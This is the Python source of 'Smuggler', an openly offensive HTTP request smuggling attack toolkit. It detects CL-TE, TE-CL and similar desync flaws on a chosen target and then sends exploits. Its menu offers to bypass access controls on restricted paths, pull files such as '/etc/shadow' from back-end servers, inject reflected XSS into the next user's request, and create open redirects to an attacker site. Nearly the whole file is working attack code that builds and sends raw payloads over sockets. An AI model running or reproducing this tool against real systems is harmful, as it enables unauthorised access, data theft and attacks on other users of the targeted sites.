smuggler.py 33 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. Smuggler (HTTP -Smuggling- Attack Toolkit) - 2020/2024 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with PandeMaths; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, socket, ssl
  10. VERSION = "v:0.4"
  11. RELEASE = "31102024"
  12. SOURCE1 = "https://code.03c8.net/epsylon/smuggler"
  13. SOURCE2 = "https://github.com/epsylon/smuggler"
  14. CONTACT = "epsylon@riseup.net - (https://03c8.net)"
  15. try:
  16. import payloads.payloads # import payloads
  17. except:
  18. print ("\n[Info] Try to run the tool with Python3.x.y... (ex: python3 smuggler.py) -> [EXITING!]\n")
  19. sys.exit()
  20. VULNERABLE_LIST = []
  21. def set_target():
  22. target = input("\n + Enter TARGET (ex: 'http(s)://www.evilcorp.com'): ").lower()
  23. if target.startswith("http://"):
  24. target = target.replace("http://","")
  25. port = 80
  26. SSL = False
  27. elif target.startswith("https://"):
  28. target = target.replace("https://","")
  29. port = 443
  30. SSL = True
  31. else:
  32. print("\n"+"-"*45)
  33. print("\n[Error] Target is invalid: '"+str(target)+"'\n")
  34. print("-"*45)
  35. sys.exit()
  36. method = input("\n + Enter HTTP METHOD (default: 'POST'): ").upper()
  37. if method == "GET" or method == "POST":
  38. pass
  39. else:
  40. if method == "":
  41. method = "POST"
  42. else:
  43. print("\n"+"-"*45)
  44. print("\n[Error] Method is invalid: '"+str(method)+"'\n")
  45. print("-"*45)
  46. sys.exit()
  47. protocol = input("\n + Enter PROTOCOL (default: 'HTTP/1.1'): ")
  48. if protocol == "":
  49. protocol = "HTTP/1.1"
  50. path = input("\n + Enter PATH (default: '/'): ")
  51. if path == "":
  52. path = "/"
  53. cookie = input("\n + Enter COOKIE (ex: 'session=iLxgKt7w3FIKor1csjB5HYbPrq9evRhb;'): ")
  54. return target, port, SSL, method, protocol, path, cookie
  55. def detect(final): # detect menu
  56. target, port, SSL, method, protocol, path, cookie = set_target() # set target
  57. print("\n"+"="*50 + "\n")
  58. print("[Info] Starting -HTTP Smuggling- Timing detection ...")
  59. payloads_dsync = payloads.payloads.payloads # load payloads
  60. if target.endswith("/"):
  61. target = target.replace("/", "")
  62. addr = (target, port)
  63. print("")
  64. for payload in payloads_dsync:
  65. attack_type = payload.split("#")[0]
  66. payload_type = payload.split("#")[1]
  67. for i in range(0,2): # send payload twice
  68. print("="*50)
  69. print("Trying payload: ["+str(attack_type)+"] ["+str(i+1)+"/2]")
  70. print("="*50+"\n")
  71. if cookie != "":
  72. payload = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\nCookie: "+cookie+"\r\n"+payload_type # main smuggling payload + cookie
  73. else:
  74. payload = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\n"+payload_type # main smuggling payload
  75. print("+ PAYLOAD:\n")
  76. print(payload)
  77. send_payload(attack_type, payload, addr, SSL) # send each payload
  78. if final == True:
  79. show_final_results(target, port, protocol, method, path, final)
  80. else:
  81. t, p, pr, m, pt = show_final_results(target, port, protocol, method, path, final)
  82. return t, p, pr, m, pt, SSL
  83. def send_payload(attack_type, payload, addr, SSL):
  84. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  85. context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
  86. context.verify_mode = ssl.CERT_REQUIRED
  87. context.check_hostname = True
  88. context.load_default_certs()
  89. if SSL == True: # ssl
  90. ss = context.wrap_socket(s, server_hostname=addr[0])
  91. try:
  92. if SSL == True: # ssl
  93. ss.connect(addr)
  94. else:
  95. s.connect(addr)
  96. except Exception as e:
  97. print("-"*45)
  98. print("[Error] Generating socket... -> [PASSING!]")
  99. print(e)
  100. print("-"*45+"\n")
  101. if SSL == True: # ssl
  102. ss.close()
  103. else:
  104. s.close()
  105. return
  106. for i in range(0,10): # x10 tests
  107. if SSL == True: # ssl
  108. ss.send(payload.encode('utf-8'))
  109. else:
  110. s.send(payload.encode('utf-8'))
  111. datas=""
  112. while 1:
  113. if SSL == True: # ssl
  114. data = ss.recv(1024)
  115. else:
  116. data = s.recv(1024)
  117. if not data:
  118. break
  119. try:
  120. datas += str(data.decode('utf-8'))
  121. except:
  122. pass
  123. print("\n+ REPLY:\n")
  124. print(str(datas))
  125. print("")
  126. resp_c=0
  127. resp=""
  128. wait=False
  129. for line in datas.split('\n'):
  130. if "502" in line or "501" in line or "404" in line or "405" in line or "403" in line or "400" in line:
  131. wait=False
  132. resp_c+=1
  133. else:
  134. wait=True
  135. if not wait:
  136. resp += line+'\n'
  137. print("-"*45)
  138. if resp_c > 0 and "Unrecognized method" in str(datas) or resp_c > 0 and "not supported for current URL" in str(datas):
  139. print ("PAYLOAD: ["+str(attack_type)+"] is WORKING! ;-)")
  140. if attack_type not in VULNERABLE_LIST:
  141. VULNERABLE_LIST.append(attack_type) # add attack type for results
  142. else:
  143. print ("PAYLOAD: ["+str(attack_type)+"] is NOT working...")
  144. print("-"*45+"\n")
  145. if SSL == True: # ssl
  146. ss.close()
  147. else:
  148. s.close()
  149. def show_final_results(target, port, protocol, method, path, final):
  150. print("="*50)
  151. print("\n+ Detection RESULT: -HTTP Smuggling- Timing Attack\n")
  152. print("-"*45+"\n")
  153. print(" - TARGET: "+str(target)+":"+str(port))
  154. print(" - Method: "+str(method))
  155. print(" - Protocol: "+str(protocol))
  156. print(" - Path : "+str(path))
  157. TETE = False
  158. TECL = False
  159. CLTE = False
  160. CLCL = False
  161. if VULNERABLE_LIST:
  162. print("\n - STATUS: [ VULNERABLE !!! ]\n")
  163. for v in VULNERABLE_LIST: # resume vulnerable payloads found
  164. if v.startswith("TE-TE") and TETE == False: # TE-TE
  165. print(" * [TE-TE]: [Front-end: Transfer-Encoding] <-> [Back-end: Transfer-Encoding]")
  166. TETE = True
  167. elif v.startswith("TE-CL") and TECL == False: # TE-CL
  168. print(" * [TE-CL]: [Front-end: Transfer-Encoding] <-> [Back-end: Content-Length]")
  169. TECL = True
  170. elif v.startswith("CL-TE") and CLTE == False: # CL-TE
  171. print(" * [CL-TE]: [Front-end: Content-Length] <-> [Back-end: Transfer-Encoding]")
  172. CLTE = True
  173. elif v.startswith("CL-CL") and CLCL == False: # CL-CL
  174. print(" * [CL-CL]: [Front-end: Content-Length] <-> [Back-end: Content-Length]")
  175. CLCL = True
  176. else:
  177. print("\n - STATUS: [ NOT VULNERABLE ]")
  178. print("\n"+"="*50+"\n")
  179. sys.exit() # exit when not vulnerable!
  180. if final == False: # keep exploiting
  181. return target, port, protocol, method, path
  182. print("\n"+"="*50+"\n")
  183. def manual(): # manual exploiting menu
  184. exploit_type = "MANUAL"
  185. exploit_path = input("\n+ Select the PATH for the EXPLOIT CODE (default: 'payloads/dummy.txt'): ")
  186. if exploit_path == "":
  187. exploit_path = "payloads/dummy.txt"
  188. print("\n"+"="*50 + "\n")
  189. print("[Info] Trying to EXPLOIT your own CODE (input: '"+exploit_path+"')...")
  190. target, port, protocol, method, path, SSL = detect(False) # set target
  191. addr = (target, port)
  192. try:
  193. f = open(exploit_path, "r")
  194. exploit = f.read()
  195. f.close()
  196. print("\n"+"-"*45)
  197. for v in VULNERABLE_LIST:
  198. print("="*50+"\n")
  199. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  200. print("+ EXPLOIT CODE:\n")
  201. print(str(exploit))
  202. send_exploit(addr, SSL, exploit, exploit_type, "MANUAL") # send exploit
  203. except:
  204. print("\n"+"-"*45)
  205. print("\n[Error] Exploit code path is wrong... Exiting!\n")
  206. def exploit(): # exploit menu
  207. exploit = input("\n+ SELECT EXPLOIT:\n\n [0] SMG-VER-01: VERIFY that your 'chunked' requests are arriving correctly\n [1] SMG-REV-01: REVEAL if the front-end performs some REWRITING of requests before they are forwarded to the back-end\n [2] SMG-ACL-01: GRANT ACCESS to a RESTRICTED URL (ex: '/restricted/salaries/boss.php', '/admin/', '/private/messages' ...)\n [3] SMG-GET-01: GET a FILE from the back-end server (ex: '/etc/shadow', '/server/config_db.php' ...)\n [4] SMG-XSS-01: INJECT a (simple) reflected XSS in the back-end (exploit 'User-Agent', 'Referer' vulnerability) and append it to the next user's request\n [5] SMG-UFO-01: TURN an 'on-site' redirect into an OPEN REDIRECT and append it to the next user's request\n\n")
  208. if exploit == "0": # verify acccess (back-end)
  209. exploit_verify()
  210. elif exploit == "1": # reveal (front-end)
  211. exploit_reveal()
  212. elif exploit == "2": # bypass (front-end)
  213. exploit_bypass()
  214. elif exploit == "3": # fetch files (back-end)
  215. exploit_steal()
  216. elif exploit == "4": # reflected XSS (back-end)
  217. exploit_XSS()
  218. elif exploit == "5": # open redirect (back-end)
  219. exploit_openredirect()
  220. else: # exit
  221. print ("[Info] Not any valid exploit selected... -> [EXITING!]\n")
  222. sys.exit()
  223. def send_exploit(addr, SSL, exploit, exploit_type, exploit_mode):
  224. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  225. if SSL == True: # ssl
  226. ss = ssl.wrap_socket(s)
  227. try:
  228. if SSL == True: # ssl
  229. ss.connect(addr)
  230. else:
  231. s.connect(addr)
  232. except Exception as e:
  233. print("-"*45)
  234. print("[Error] Generating socket... -> [PASSING!]")
  235. print(e)
  236. print("-"*45+"\n")
  237. if SSL == True: # ssl
  238. ss.close()
  239. else:
  240. s.close()
  241. return
  242. for i in range(0,2): # send exploit twice
  243. if SSL == True: # ssl
  244. ss.send(exploit.encode('utf-8'))
  245. else:
  246. s.send(exploit.encode('utf-8'))
  247. datas=""
  248. while 1:
  249. if SSL == True: # ssl
  250. data = ss.recv(1024)
  251. else:
  252. data = s.recv(1024)
  253. if not data:
  254. break
  255. try:
  256. datas += str(data.decode('utf-8'))
  257. except:
  258. pass
  259. print("\n"+"-"*45)
  260. print("\n+ REPLY:\n")
  261. print(str(datas))
  262. if exploit_mode == "VERIFY":
  263. print("\n"+"-"*45)
  264. print("\n[Info] This exploit ["+exploit_type+"] is working!!! ;-) \n")
  265. if SSL == True: # ssl
  266. ss.close()
  267. else:
  268. s.close()
  269. def exploit_verify():
  270. print("\n"+"="*50 + "\n")
  271. print("[Info] Trying to VERIFY injections (generating back-end errors)...")
  272. target, port, protocol, method, path, SSL = detect(False) # set target
  273. addr = (target, port)
  274. print("\n"+"-"*45)
  275. exploits_dsync = payloads.payloads.exploits # load exploits
  276. smuggled_method = payloads.payloads.methods # load methods
  277. for v in VULNERABLE_LIST:
  278. for exp in exploits_dsync:
  279. if exp.split("#")[0] in v:
  280. for s in smuggled_method:
  281. if s.split("#")[0] == "0": # verify reading
  282. s = s.replace("$method", method)
  283. s = s.replace("$path", path)
  284. s = s.replace("$protocol", protocol)
  285. s = s.replace("$target", target)
  286. smuggled = s.split("#")[1].replace("\n","")
  287. exploit = exp.split("#")[1]
  288. exploit = exploit.replace("$method", method)
  289. exploit = exploit.replace("$path", path)
  290. exploit = exploit.replace("$protocol", protocol)
  291. exploit = exploit.replace("$target", target)
  292. exploit_type = str(exp.split("#")[0])
  293. content_length2 = ""
  294. if exploit_type == "CL-TE-0":
  295. content_length = len(smuggled)+5 #CL-TE-0
  296. elif exploit_type == "CL-TE-1":
  297. content_length = len(smuggled)+4 #CL-TE-1
  298. elif exploit_type == "CL-CL-0":
  299. content_length = len(smuggled)-1 #CL-CL-0
  300. elif exploit_type == "CL-CL-1":
  301. content_length = len(smuggled)-1 #CL-CL-1
  302. content_length2 = len(smuggled)-1
  303. exploit = exploit.replace("$LC", str(content_length2))
  304. elif exploit_type == "CL-CL-2":
  305. content_length = len(smuggled)-1 #CL-CL-2
  306. content_length2 = len(smuggled)+1
  307. exploit = exploit.replace("$LC", str(content_length2))
  308. elif exploit_type == "TE-CL-0":
  309. content_length = len(smuggled)+3 #TE-CL-0
  310. elif exploit_type == "TE-CL-1":
  311. content_length = len(smuggled)+2 #TE-CL-1
  312. elif exploit_type == "TE-TE-0":
  313. content_length = len(smuggled)-1 #TE-TE-0
  314. content_length2 = len(smuggled)-1
  315. exploit = exploit.replace("$LC", str(content_length2))
  316. elif exploit_type == "TE-TE-1":
  317. content_length = len(smuggled)-1 #TE-TE-1
  318. content_length2 = len(smuggled)+1
  319. elif exploit_type == "TE-TE-2":
  320. content_length = len(smuggled)-1 #TE-TE-2
  321. content_length2 = len(smuggled)+1
  322. exploit = exploit.replace("$CL", str(content_length))
  323. exploit = exploit.replace("$SMUGGLED", smuggled)
  324. print("="*50+"\n")
  325. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  326. print("+ EXPLOIT CODE:\n")
  327. print(str(exploit))
  328. send_exploit(addr, SSL, exploit, exploit_type, "VERIFY") # send exploit
  329. def exploit_reveal():
  330. print("\n"+"="*50 + "\n")
  331. print("[Info] Trying to REVEAL front-end REWRITING...")
  332. target, port, protocol, method, path, SSL = detect(False) # set target
  333. addr = (target, port)
  334. print("\n"+"-"*45)
  335. print("\n"+"="*50)
  336. print("[Info] Exploiting front-end REWRITING...")
  337. print("="*50)
  338. parameter = input("\n + Enter PARAMETER (ex: 'q', '_username', 'search' ...): ")
  339. exploits_dsync = payloads.payloads.exploits # load exploits
  340. smuggled_method = payloads.payloads.methods # load methods
  341. for v in VULNERABLE_LIST:
  342. for exp in exploits_dsync:
  343. if exp.split("#")[0] in v:
  344. for s in smuggled_method:
  345. if s.split("#")[0] == "1": # reveal rewriting
  346. s = s.replace("$method", method)
  347. s = s.replace("$path", path)
  348. s = s.replace("$protocol", protocol)
  349. s = s.replace("$target", target)
  350. s = s.replace("$parameter", parameter)
  351. content_length = len(parameter)+2+50
  352. s = s.replace("$CL", str(content_length))
  353. smuggled = s.split("#")[1]
  354. s = s.replace("$SMUGGLED", smuggled)
  355. exploit = exp.split("#")[1]
  356. exploit = exploit.replace("$method", method)
  357. exploit = exploit.replace("$path", path)
  358. exploit = exploit.replace("$protocol", protocol)
  359. exploit = exploit.replace("$target", target)
  360. exploit = exploit.replace("$parameter", parameter)
  361. exploit = exploit.replace("$SMUGGLED", smuggled)
  362. exploit_type = str(exp.split("#")[0])
  363. content_length2 = ""
  364. if exploit_type == "CL-TE-0":
  365. content_length = len(smuggled)+5 #CL-TE-0
  366. elif exploit_type == "CL-TE-1":
  367. content_length = len(smuggled)+4 #CL-TE-1
  368. elif exploit_type == "CL-CL-0":
  369. content_length = len(smuggled)-1 #CL-CL-0
  370. elif exploit_type == "CL-CL-1":
  371. content_length = len(smuggled)-1 #CL-CL-1
  372. content_length2 = len(smuggled)-1
  373. exploit = exploit.replace("$LC", str(content_length2))
  374. elif exploit_type == "CL-CL-2":
  375. content_length = len(smuggled)-1 #CL-CL-2
  376. content_length2 = len(smuggled)+1
  377. exploit = exploit.replace("$LC", str(content_length2))
  378. elif exploit_type == "TE-CL-0":
  379. content_length = len(smuggled)+3 #TE-CL-0
  380. elif exploit_type == "TE-CL-1":
  381. content_length = len(smuggled)+2 #TE-CL-1
  382. elif exploit_type == "TE-TE-0":
  383. content_length = len(smuggled)-1 #TE-TE-0
  384. content_length2 = len(smuggled)-1
  385. exploit = exploit.replace("$LC", str(content_length2))
  386. elif exploit_type == "TE-TE-1":
  387. content_length = len(smuggled)-1 #TE-TE-1
  388. content_length2 = len(smuggled)+1
  389. elif exploit_type == "TE-TE-2":
  390. content_length = len(smuggled)-1 #TE-TE-2
  391. content_length2 = len(smuggled)+1
  392. exploit = exploit.replace("$CL", str(content_length))
  393. exploit = exploit.replace("$SMUGGLED", smuggled)
  394. print("\n"+"="*50+"\n")
  395. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  396. print("+ EXPLOIT CODE:\n")
  397. print(str(exploit))
  398. send_exploit(addr, SSL, exploit, exploit_type, "REVEAL") # send exploit
  399. def exploit_bypass():
  400. print("\n"+"="*50 + "\n")
  401. print("[Info] Trying to REVEAL front-end REWRITING...")
  402. target, port, protocol, method, path, SSL = detect(False) # set target
  403. addr = (target, port)
  404. print("\n"+"-"*45)
  405. print("\n"+"="*50)
  406. restricted = input("\n + Enter RESTRICTED ZONE (ex: '/restricted/salaries/boss.php', '/wp-admin/', '/private/messages'...): ")
  407. exploits_dsync = payloads.payloads.exploits # load exploits
  408. smuggled_method = payloads.payloads.methods # load methods
  409. for v in VULNERABLE_LIST:
  410. for exp in exploits_dsync:
  411. if exp.split("#")[0] in v:
  412. for s in smuggled_method:
  413. if s.split("#")[0] == "2": # bypass ACLs
  414. s = s.replace("$method", method)
  415. s = s.replace("$path", path)
  416. s = s.replace("$protocol", protocol)
  417. s = s.replace("$target", target)
  418. s = s.replace("$restricted", restricted)
  419. content_length = 10 # $CL method
  420. s = s.replace("$CL", str(content_length))
  421. smuggled = s.split("#")[1]
  422. exploit = exp.split("#")[1]
  423. exploit = exploit.replace("$method", method)
  424. exploit = exploit.replace("$path", path)
  425. exploit = exploit.replace("$protocol", protocol)
  426. exploit = exploit.replace("$target", target)
  427. exploit = exploit.replace("$restricted", restricted)
  428. exploit_type = str(exp.split("#")[0])
  429. content_length2 = ""
  430. if exploit_type == "CL-TE-0":
  431. content_length = len(smuggled)+5 #CL-TE-0
  432. elif exploit_type == "CL-TE-1":
  433. content_length = len(smuggled)+4 #CL-TE-1
  434. elif exploit_type == "CL-CL-0":
  435. content_length = len(smuggled)-1 #CL-CL-0
  436. elif exploit_type == "CL-CL-1":
  437. content_length = len(smuggled)-1 #CL-CL-1
  438. content_length2 = len(smuggled)-1
  439. exploit = exploit.replace("$LC", str(content_length2))
  440. elif exploit_type == "CL-CL-2":
  441. content_length = len(smuggled)-1 #CL-CL-2
  442. content_length2 = len(smuggled)+1
  443. exploit = exploit.replace("$LC", str(content_length2))
  444. elif exploit_type == "TE-CL-0":
  445. content_length = len(smuggled)+3 #TE-CL-0
  446. elif exploit_type == "TE-CL-1":
  447. content_length = len(smuggled)+2 #TE-CL-1
  448. elif exploit_type == "TE-TE-0":
  449. content_length = len(smuggled)-1 #TE-TE-0
  450. content_length2 = len(smuggled)-1
  451. exploit = exploit.replace("$LC", str(content_length2))
  452. elif exploit_type == "TE-TE-1":
  453. content_length = len(smuggled)-1 #TE-TE-1
  454. content_length2 = len(smuggled)+1
  455. elif exploit_type == "TE-TE-2":
  456. content_length = len(smuggled)-1 #TE-TE-2
  457. content_length2 = len(smuggled)+1
  458. exploit = exploit.replace("$CL", str(content_length))
  459. exploit = exploit.replace("$SMUGGLED", smuggled)
  460. print("\n"+"="*50+"\n")
  461. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  462. print("+ EXPLOIT CODE:\n")
  463. print(str(exploit))
  464. send_exploit(addr, SSL, exploit, exploit_type, "BYPASS") # send exploit
  465. def exploit_steal():
  466. print("\n"+"="*50 + "\n")
  467. print("[Info] Trying to GET FILE from server...")
  468. target, port, protocol, method, path, SSL = detect(False) # set target
  469. addr = (target, port)
  470. print("\n"+"-"*45)
  471. files = input("\n + Enter FILE (ex: '/etc/shadow', '/server/config_db.php' ...): ")
  472. exploits_dsync = payloads.payloads.exploits # load exploits
  473. smuggled_method = payloads.payloads.methods # load methods
  474. for v in VULNERABLE_LIST:
  475. for exp in exploits_dsync:
  476. if exp.split("#")[0] in v:
  477. for s in smuggled_method:
  478. if s.split("#")[0] == "3": # fetch files
  479. s = s.replace("$method", method)
  480. s = s.replace("$path", path)
  481. s = s.replace("$protocol", protocol)
  482. s = s.replace("$target", target)
  483. s = s.replace("$files", files)
  484. content_length = len(files)+2 # p=len(files)
  485. s = s.replace("$CL", str(content_length))
  486. smuggled = s.split("#")[1]
  487. exploit = exp.split("#")[1]
  488. exploit = exploit.replace("$method", method)
  489. exploit = exploit.replace("$path", path)
  490. exploit = exploit.replace("$protocol", protocol)
  491. exploit = exploit.replace("$target", target)
  492. exploit = exploit.replace("$files", files)
  493. exploit_type = str(exp.split("#")[0])
  494. content_length2 = ""
  495. if exploit_type == "CL-TE-0":
  496. content_length = len(smuggled)+5 #CL-TE-0
  497. elif exploit_type == "CL-TE-1":
  498. content_length = len(smuggled)+4 #CL-TE-1
  499. elif exploit_type == "CL-CL-0":
  500. content_length = len(smuggled)-1 #CL-CL-0
  501. elif exploit_type == "CL-CL-1":
  502. content_length = len(smuggled)-1 #CL-CL-1
  503. content_length2 = len(smuggled)-1
  504. exploit = exploit.replace("$LC", str(content_length2))
  505. elif exploit_type == "CL-CL-2":
  506. content_length = len(smuggled)-1 #CL-CL-2
  507. content_length2 = len(smuggled)+1
  508. exploit = exploit.replace("$LC", str(content_length2))
  509. elif exploit_type == "TE-CL-0":
  510. content_length = len(smuggled)+3 #TE-CL-0
  511. elif exploit_type == "TE-CL-1":
  512. content_length = len(smuggled)+2 #TE-CL-1
  513. elif exploit_type == "TE-TE-0":
  514. content_length = len(smuggled)-1 #TE-TE-0
  515. content_length2 = len(smuggled)-1
  516. exploit = exploit.replace("$LC", str(content_length2))
  517. elif exploit_type == "TE-TE-1":
  518. content_length = len(smuggled)-1 #TE-TE-1
  519. content_length2 = len(smuggled)+1
  520. elif exploit_type == "TE-TE-2":
  521. content_length = len(smuggled)-1 #TE-TE-2
  522. content_length2 = len(smuggled)+1
  523. exploit = exploit.replace("$CL", str(content_length))
  524. exploit = exploit.replace("$SMUGGLED", smuggled)
  525. print("\n"+"="*50+"\n")
  526. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  527. print("+ EXPLOIT CODE:\n")
  528. print(str(exploit))
  529. send_exploit(addr, SSL, exploit, exploit_type, "STEAL") # send exploit
  530. def exploit_XSS():
  531. print("\n"+"="*50 + "\n")
  532. print("[Info] Trying to EXPLOIT a (simple) reflected XSS in the back-end (User-Agent, Referer)...")
  533. target, port, protocol, method, path, SSL = detect(False) # set target
  534. addr = (target, port)
  535. print("\n"+"-"*45)
  536. text = input("\n + Enter TEXT (ex: 'XSS', '0wNed by ANONYMOUS', ...): ")
  537. exploits_dsync = payloads.payloads.exploits # load exploits
  538. smuggled_method = payloads.payloads.methods # load methods
  539. for v in VULNERABLE_LIST:
  540. for exp in exploits_dsync:
  541. if exp.split("#")[0] in v:
  542. for s in smuggled_method:
  543. if s.split("#")[0] == "4": # reflected XSS
  544. s = s.replace("$method", method)
  545. s = s.replace("$path", path)
  546. s = s.replace("$protocol", protocol)
  547. s = s.replace("$target", target)
  548. s = s.replace("$text", text)
  549. content_length = len(text)-1
  550. s = s.replace("$CL", str(content_length))
  551. smuggled = s.split("#")[1]
  552. exploit = exp.split("#")[1]
  553. exploit = exploit.replace("$method", method)
  554. exploit = exploit.replace("$path", path)
  555. exploit = exploit.replace("$protocol", protocol)
  556. exploit = exploit.replace("$target", target)
  557. exploit = exploit.replace("$text", text)
  558. exploit_type = str(exp.split("#")[0])
  559. content_length2 = ""
  560. if exploit_type == "CL-TE-0":
  561. content_length = len(smuggled)+5 #CL-TE-0
  562. elif exploit_type == "CL-TE-1":
  563. content_length = len(smuggled)+4 #CL-TE-1
  564. elif exploit_type == "CL-CL-0":
  565. content_length = len(smuggled)-1 #CL-CL-0
  566. elif exploit_type == "CL-CL-1":
  567. content_length = len(smuggled)-1 #CL-CL-1
  568. content_length2 = len(smuggled)-1
  569. exploit = exploit.replace("$LC", str(content_length2))
  570. elif exploit_type == "CL-CL-2":
  571. content_length = len(smuggled)-1 #CL-CL-2
  572. content_length2 = len(smuggled)+1
  573. exploit = exploit.replace("$LC", str(content_length2))
  574. elif exploit_type == "TE-CL-0":
  575. content_length = len(smuggled)+3 #TE-CL-0
  576. elif exploit_type == "TE-CL-1":
  577. content_length = len(smuggled)+2 #TE-CL-1
  578. elif exploit_type == "TE-TE-0":
  579. content_length = len(smuggled)-1 #TE-TE-0
  580. content_length2 = len(smuggled)-1
  581. exploit = exploit.replace("$LC", str(content_length2))
  582. elif exploit_type == "TE-TE-1":
  583. content_length = len(smuggled)-1 #TE-TE-1
  584. content_length2 = len(smuggled)+1
  585. elif exploit_type == "TE-TE-2":
  586. content_length = len(smuggled)-1 #TE-TE-2
  587. content_length2 = len(smuggled)+1
  588. exploit = exploit.replace("$CL", str(content_length))
  589. exploit = exploit.replace("$SMUGGLED", smuggled)
  590. print("\n"+"="*50+"\n")
  591. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  592. print("+ EXPLOIT CODE:\n")
  593. print(str(exploit))
  594. send_exploit(addr, SSL, exploit, exploit_type, "XSS") # send exploit
  595. def exploit_openredirect():
  596. print("\n"+"="*50 + "\n")
  597. print("[Info] Trying to turn an 'on-site' redirect into an OPEN REDIRECT...")
  598. target, port, protocol, method, path, SSL = detect(False) # set target
  599. addr = (target, port)
  600. print("\n"+"-"*45)
  601. path2 = input("\n + Enter 'on-site' URL (ex: '/', '/login', '/restricted', ...): ")
  602. redirect = input("\n + Enter URL to redirect (ex: 'attacker-website.com' ...): ")
  603. exploits_dsync = payloads.payloads.exploits # load exploits
  604. smuggled_method = payloads.payloads.methods # load methods
  605. for v in VULNERABLE_LIST:
  606. for exp in exploits_dsync:
  607. if exp.split("#")[0] in v:
  608. for s in smuggled_method:
  609. if s.split("#")[0] == "5": # open redirect
  610. s = s.replace("$method", method)
  611. s = s.replace("$path", path)
  612. s = s.replace("$protocol", protocol)
  613. s = s.replace("$target", target)
  614. s = s.replace("$redirect", redirect)
  615. s = s.replace("$PT", path2)
  616. content_length = len(redirect)+1
  617. s = s.replace("$CL", str(content_length))
  618. smuggled = s.split("#")[1]
  619. exploit = exp.split("#")[1]
  620. exploit = exploit.replace("$method", method)
  621. exploit = exploit.replace("$path", path)
  622. exploit = exploit.replace("$protocol", protocol)
  623. exploit = exploit.replace("$target", target)
  624. exploit = exploit.replace("$redirect", redirect)
  625. exploit = exploit.replace("$PT", path2)
  626. exploit_type = str(exp.split("#")[0])
  627. content_length2 = ""
  628. if exploit_type == "CL-TE-0":
  629. content_length = len(smuggled)+5 #CL-TE-0
  630. elif exploit_type == "CL-TE-1":
  631. content_length = len(smuggled)+4 #CL-TE-1
  632. elif exploit_type == "CL-CL-0":
  633. content_length = len(smuggled)-1 #CL-CL-0
  634. elif exploit_type == "CL-CL-1":
  635. content_length = len(smuggled)-1 #CL-CL-1
  636. content_length2 = len(smuggled)-1
  637. exploit = exploit.replace("$LC", str(content_length2))
  638. elif exploit_type == "CL-CL-2":
  639. content_length = len(smuggled)-1 #CL-CL-2
  640. content_length2 = len(smuggled)+1
  641. exploit = exploit.replace("$LC", str(content_length2))
  642. elif exploit_type == "TE-CL-0":
  643. content_length = len(smuggled)+3 #TE-CL-0
  644. elif exploit_type == "TE-CL-1":
  645. content_length = len(smuggled)+2 #TE-CL-1
  646. elif exploit_type == "TE-TE-0":
  647. content_length = len(smuggled)-1 #TE-TE-0
  648. content_length2 = len(smuggled)-1
  649. exploit = exploit.replace("$LC", str(content_length2))
  650. elif exploit_type == "TE-TE-1":
  651. content_length = len(smuggled)-1 #TE-TE-1
  652. content_length2 = len(smuggled)+1
  653. elif exploit_type == "TE-TE-2":
  654. content_length = len(smuggled)-1 #TE-TE-2
  655. content_length2 = len(smuggled)+1
  656. exploit = exploit.replace("$CL", str(content_length))
  657. exploit = exploit.replace("$SMUGGLED", smuggled)
  658. print("\n"+"="*50+"\n")
  659. print("+ PAYLOAD TYPE: ["+exploit_type+"]")
  660. print("+ EXPLOIT CODE:\n")
  661. print(str(exploit))
  662. send_exploit(addr, SSL, exploit, exploit_type, "REDIRECT") # send exploit
  663. def print_banner():
  664. print("\n"+"="*50)
  665. print(r" ____ __ __ _ _ ____ ____ _ _____ ____ ")
  666. print(r"/ ___|| \/ | | | |/ ___|/ ___| | | ____| _ \ ")
  667. print(r"\___ \| |\/| | | | | | _| | _| | | _| | |_) |")
  668. print(r" ___) | | | | |_| | |_| | |_| | |___| |___| _ < ")
  669. print(r"|____/|_| |_|\___/ \____|\____|_____|_____|_| \_\ by psy")
  670. print("")
  671. print("="*50)
  672. print('\n"HTTP -Smuggling- (DSYNC) Attacking Toolkit"')
  673. print("\n"+"-"*15+"\n")
  674. print(" * VERSION: ")
  675. print(" + "+VERSION+" - (rev:"+RELEASE+")")
  676. print("\n * SOURCES:")
  677. print(" + "+SOURCE1)
  678. print(" + "+SOURCE2)
  679. print("\n * CONTACT: ")
  680. print(" + "+CONTACT+"\n")
  681. print("-"*15+"\n")
  682. print("="*50)
  683. # sub_init #
  684. print_banner() # show banner
